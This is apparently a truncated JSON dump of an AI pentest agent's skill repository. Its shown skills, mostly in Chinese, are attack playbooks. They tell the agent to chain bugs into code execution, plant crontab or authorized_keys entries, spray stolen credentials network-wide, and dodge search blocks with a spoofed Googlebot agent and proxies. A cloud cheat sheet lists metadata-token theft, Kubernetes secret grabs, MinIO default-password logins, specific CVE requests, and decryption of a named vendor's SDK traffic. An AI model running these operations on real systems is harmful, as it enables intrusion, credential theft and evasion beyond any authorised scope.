可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B\n  SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F\n\n状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。\n  正向: 对每个能力问\"能解锁什么?\"; 对每对能力问\"组合出什么?\"\n    (read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)\n  反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→\n    手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证\n\n突破口(看到别走开):\n  ·\"功能即原语\": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没\"功能/漏洞\"之分,只有\"能力\"。\n  ·跨协议跳跃: SSRF的gopher/dict/file把\"只能发HTTP\"变成\"打Redis/发SMTP/读文件\"。\n  ·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。\n  ·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。\n  ·时间维度: TOCTOU/token可预测/缓存投毒,把\"偶尔\"变\"稳定\",把不可利用变可利用。\n  ·跨域兑现: 每拿一个能力问\"它在别的域值多少钱\"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。\n  ·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列\"我以为不可能\"逐条问\"凭什么不可能\"\n> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。\n```\n\n","skills/component-vuln-intel/SKILL.md":"---\nname: component-vuln-intel\ndescription: >-\n  联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 联网情报收集（识别组件→立即全网搜；结果=线索/tentative，验证前不是 confirmed Fact）\n\n```\n🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。\n🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:\n\n1.CVE漏洞库(必做,找已知漏洞):\n  terminal: searchsploit {C} {V}\n  terminal: curl -s \"https://cve.circl.lu/api/search/{C}/{V}\" | python3 -c \"import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]\"\n  browser_navigate: https://github.com/advisories?query={C}+{V}\n  browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search\n\n2.搜索引擎(至少执行3个,找漏洞分析+PoC):\n  browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com\n  browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现\n  browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell\n  browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc\n  browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit\n\n3.中文安全社区(必做,中文首发多且深度分析好):\n  browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞\n  browser_navigate: https://www.seebug.org/search/?keywords={C}\n  browser_navigate: https://paper.seebug.org/search/?keyword={C}\n  browser_navigate: https://www.freebuf.com/search?search={C}+{V}\n  browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}\n  browser_navigate: https://www.anquanke.com/search?s={C}\n\n4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]\"\n  找到仓库后: curl -s \"https://api.github.com/repos/{owner}/{repo}/readme\" | python3 -c \"import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())\"\n\n5.资产引擎(找同类目标/暴露面):\n  browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app=\"{C}\"' | base64)\n  browser_navigate: https://www.shodan.io/search?query={C}+{V}\n  browser_navigate: https://www.zoomeye.org/searchResult?q={C}\n  browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}\n\n6.即时情报(最新0day/在野利用):\n  browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live\n  browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month\n  browser_navigate: https://www.exploit-db.com/search?q={C}\n\n7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6\n\n🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):\n  ①换UA: curl -H \"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\" \"{URL}\"\n  ②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}\n  ③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}\n  ④Archive: browser_navigate: https://web.archive.org/web/{URL}\n  ⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令\n  ⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing\n  ⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试\n  全部受阻仍无结果→写负Fact\"已搜{C} {V}全渠道无公开漏洞\"→转 `zero-day-discovery`\n```\n\n","skills/blockchain-contract-attack/SKILL.md":"---\nname: blockchain-contract-attack\ndescription: >-\n  区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 区块链 / 智能合约\n\n```\n=== 区块链/智能合约 ===\n源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore\n手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)\n  预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突\nDeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction\n```\n","skills/cloud-attack-methods/SKILL.md":"---\nname: cloud-attack-methods\ndescription: >-\n  云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 云攻击手法\n\n```\n=== 云 ===\n元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200\n对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin\n🚨云身份攻击(拿到key/token后的提权横向):\n  AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥\n  Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥\n  Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向\n  GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举\n🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS\n🚨MinIO攻击矩阵:\n  指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)\n  Console爆破: POST http://IP:9001/api/v1/login body={\"accessKey\":\"minioadmin\",\"secretKey\":\"minioadmin\"} | 403=\"invalid Login\"\n  STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置\n  CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)\n  CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)\n  匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁\n  上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)\n  扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行\n🚨阿里云FC函数(fcapp.run)枚举:\n  识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)\n  特征: POST返回\"unauthorized method 'POST'\"(405) = 只接受GET | 200+{\"code\":200,\"msg\":\"Forbidden\"} = 路径存在但缺参数\n  利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)\n  枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)\n  路径穿越: FC正确规范化(../无效),但可枚举不同function路径\n  CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露\"denied by req auth\"\n  FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)\n🚨橙子建站(ChengZi SDK)解密:\n  初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)\n  解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)\n  d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护\n  关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL\n```\n","skills/binary-mobile-reversing/SKILL.md":"# binary-mobile-reversing\n\nPath: `skills/binary-mobile-reversing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/binary-mobile-reversing/SKILL.md)","skills/attack-surface-recon/SKILL.md":"# attack-surface-recon\n\nPath: `skills/attack-surface-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/attack-surface-recon/SKILL.md)","skills/ai-llm-app-attack/SKILL.md":"# ai-llm-app-attack\n\nPath: `skills/ai-llm-app-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/ai-llm-app-attack/SKILL.md)","skills/active-directory-attack/SKILL.md":"# active-directory-attack\n\nPath: `skills/active-directory-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/active-directory-attack/SKILL.md)","skills/redteam-opsec/SKILL.md":"# redteam-opsec\n\nPath: `skills/redteam-opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/redteam-opsec/SKILL.md)","skills/source-code-hunting/SKILL.md":"# source-code-hunting\n\nPath: `skills/source-code-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/source-code-hunting/SKILL.md)","skills/specialized-attack-playbooks/SKILL.md":"# specialized-attack-playbooks\n\nPath: `skills/specialized-attack-playbooks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/specialized-attack-playbooks/SKILL.md)","skills/unlimited-attack-scope/SKILL.md":"# unlimited-attack-scope\n\nPath: `skills/unlimited-attack-scope/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/unlimited-attack-scope/SKILL.md)","skills/web-attack-methods/SKILL.md":"# web-attack-methods\n\nPath: `skills/web-attack-methods/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/web-attack-methods/SKILL.md)","skills/wireless-hardware-attack/SKILL.md":"# wireless-hardware-attack\n\nPath: `skills/wireless-hardware-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/wireless-hardware-attack/SKILL.md)","skills/zero-day-discovery/SKILL.md":"# zero-day-discovery\n\nPath: `skills/zero-day-discovery/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/zero-day-discovery/SKILL.md)","mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md":"# find-skills\n\nPath: `mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md)","agents/attack-surface-enumeration.md":"# Subagent: attack-surface-enumeration\n\nPath: `agents/attack-surface-enumeration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/attack-surface-enumeration.md)","agents/cleanup-rollback.md":"# Subagent: cleanup-rollback\n\nPath: `agents/cleanup-rollback.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/cleanup-rollback.md)","agents/engagement-planning.md":"# Subagent: engagement-planning\n\nPath: `agents/engagement-planning.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/engagement-planning.md)","agents/impact-exfiltration.md":"# Subagent: impact-exfiltration\n\nPath: `agents/impact-exfiltration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/impact-exfiltration.md)","agents/intel-collection.md":"# Subagent: intel-collection\n\nPath: `agents/intel-collection.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/intel-collection.md)","agents/lateral-movement.md":"# Subagent: lateral-movement\n\nPath: `agents/lateral-movement.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/lateral-movement.md)","agents/opsec-evasion.md":"# Subagent: opsec-evasion\n\nPath: `agents/opsec-evasion.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/opsec-evasion.md)","agents/orchestrator.md":"# Subagent: orchestrator\n\nPath: `agents/orchestrator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator.md)","agents/orchestrator-plan-execute.md":"# Subagent: orchestrator-plan-execute\n\nPath: `agents/orchestrator-plan-execute.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-plan-execute.md)","agents/orchestrator-supervisor.md":"# Subagent: orchestrator-supervisor\n\nPath: `agents/orchestrator-supervisor.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-supervisor.md)","agents/penetration.md":"# Subagent: penetration\n\nPath: `agents/penetration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/penetration.md)","agents/persistence-maintenance.md":"# Subagent: persistence-maintenance\n\nPath: `agents/persistence-maintenance.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/persistence-maintenance.md)","agents/privilege-escalation.md":"# Subagent: privilege-escalation\n\nPath: `agents/privilege-escalation.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/privilege-escalation.md)","agents/recon.md":"# Subagent: recon\n\nPath: `agents/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/recon.md)","agents/reporting-remediation.md":"# Subagent: reporting-remediation\n\nPath: `agents/reporting-remediation.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/reporting-remediation.md)","agents/vulnerability-triage.md":"# Subagent: vulnerability-triage\n\nPath: `agents/vulnerability-triage.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/vulnerability-triage.md)","plugins/README.md":"# plugins Documentation\n\nPath: `plugins/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/README.md)","skills/README.md":"# Skills Skill\n\nPath: `skills/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/README.md)","tools/amass.yaml":"# Tools Skill\n\nPath: `tools/amass.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/amass.yaml)","tools/angr.yaml":"# Tools Skill\n\nPath: `tools/angr.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/angr.yaml)","tools/api-schema-analyzer.yaml":"# Tools Skill\n\nPath: `tools/api-schema-analyzer.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/api-schema-analyzer.yaml)","tools/arjun.yaml":"# Tools Skill\n\nPath: `tools/arjun.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arjun.yaml)","tools/arp-scan.yaml":"# Tools Skill\n\nPath: `tools/arp-scan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arp-scan.yaml)","tools/binwalk.yaml":"# Tools Skill\n\nPath: `tools/binwalk.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/binwalk.yaml)","tools/bloodhound.yaml":"# Tools Skill\n\nPath: `tools/bloodhound.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/bloodhound.yaml)","tools/checkov.yaml":"# Tools Skill\n\nPath: `tools/checkov.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checkov.yaml)","tools/checksec.yaml":"# Tools Skill\n\nPath: `tools/checksec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checksec.yaml)","tools/clair.yaml":"# Tools Skill\n\nPath: `tools/clair.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/clair.yaml)","tools/cloudmapper.yaml":"# Tools Skill\n\nPath: `tools/cloudmapper.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/cloudmapper.yaml)","tools/dalfox.yaml":"# Tools Skill\n\nPath: `tools/dalfox.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dalfox.yaml)","tools/dirsearch.yaml":"# Tools Skill\n\nPath: `tools/dirsearch.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dirsearch.yaml)","tools/dnsenum.yaml":"# Tools Skill\n\nPath: `tools/dnsenum.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnsenum.yaml)","tools/dnslog.yaml":"# Tools Skill\n\nPath: `tools/dnslog.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnslog.yaml)","tools/dotdotpwn.yaml":"# Tools Skill\n\nPath: `tools/dotdotpwn.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dotdotpwn.yaml)","tools/enum4linux-ng.yaml":"# Tools Skill\n\nPath: `tools/enum4linux-ng.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/enum4linux-ng.yaml)","tools/exec.yaml":"# Tools Skill\n\nPath: `tools/exec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exec.yaml)","tools/execute-python-script.yaml":"# Tools Skill\n\nPath: `tools/execute-python-script.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/execute-python-script.yaml)","tools/exiftool.yaml":"# Tools Skill\n\nPath: `tools/exiftool.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exiftool.yaml)","tools/falco.yaml":"# Tools Skill\n\nPath: `tools/falco.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/falco.yaml)","tools/feroxbuster.yaml":"# Tools Skill\n\nPath: `tools/feroxbuster.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/feroxbuster.yaml)","tools/ffuf.yaml":"# Tools Skill\n\nPath: `tools/ffuf.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ffuf.yaml)","tools/fierce.yaml":"# Tools Skill\n\nPath: `tools/fierce.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fierce.yaml)","tools/fofa_search.yaml":"# Tools Skill\n\nPath: `tools/fofa_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fofa_search.yaml)","tools/foremost.yaml":"# Tools Skill\n\nPath: `tools/foremost.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/foremost.yaml)","tools/fscan.yaml":"# Tools Skill\n\nPath: `tools/fscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fscan.yaml)","tools/gau.yaml":"# Tools Skill\n\nPath: `tools/gau.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gau.yaml)","tools/gdb.yaml":"# Tools Skill\n\nPath: `tools/gdb.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gdb.yaml)","tools/ghidra.yaml":"# Tools Skill\n\nPath: `tools/ghidra.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ghidra.yaml)","tools/gobuster.yaml":"# Tools Skill\n\nPath: `tools/gobuster.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gobuster.yaml)","tools/graphql-scanner.yaml":"# Tools Skill\n\nPath: `tools/graphql-scanner.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/graphql-scanner.yaml)","tools/hashcat.yaml":"# Tools Skill\n\nPath: `tools/hashcat.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashcat.yaml)","tools/hashpump.yaml":"# Tools Skill\n\nPath: `tools/hashpump.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hashpump.yaml)","tools/http-framework-test.yaml":"# Tools Skill\n\nPath: `tools/http-framework-test.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/http-framework-test.yaml)","tools/hydra.yaml":"# Tools Skill\n\nPath: `tools/hydra.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/hydra.yaml)","tools/impacket.yaml":"# Tools Skill\n\nPath: `tools/impacket.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/impacket.yaml)","tools/install-python-package.yaml":"# Tools Skill\n\nPath: `tools/install-python-package.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/install-python-package.yaml)","tools/jaeles.yaml":"# Tools Skill\n\nPath: `tools/jaeles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jaeles.yaml)","tools/john.yaml":"# Tools Skill\n\nPath: `tools/john.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/john.yaml)","tools/jwt-analyzer.yaml":"# Tools Skill\n\nPath: `tools/jwt-analyzer.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/jwt-analyzer.yaml)","tools/katana.yaml":"# Tools Skill\n\nPath: `tools/katana.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/katana.yaml)","tools/kube-bench.yaml":"# Tools Skill\n\nPath: `tools/kube-bench.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-bench.yaml)","tools/kube-hunter.yaml":"# Tools Skill\n\nPath: `tools/kube-hunter.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/kube-hunter.yaml)","tools/libc-database.yaml":"# Tools Skill\n\nPath: `tools/libc-database.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/libc-database.yaml)","tools/lightx.yaml":"# Tools Skill\n\nPath: `tools/lightx.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/lightx.yaml)","tools/linpeas.yaml":"# Tools Skill\n\nPath: `tools/linpeas.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/linpeas.yaml)","tools/masscan.yaml":"# Tools Skill\n\nPath: `tools/masscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/masscan.yaml)","tools/metasploit.yaml":"# Tools Skill\n\nPath: `tools/metasploit.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/metasploit.yaml)","tools/msfvenom.yaml":"# Tools Skill\n\nPath: `tools/msfvenom.yaml`\n\n[View Raw Content on 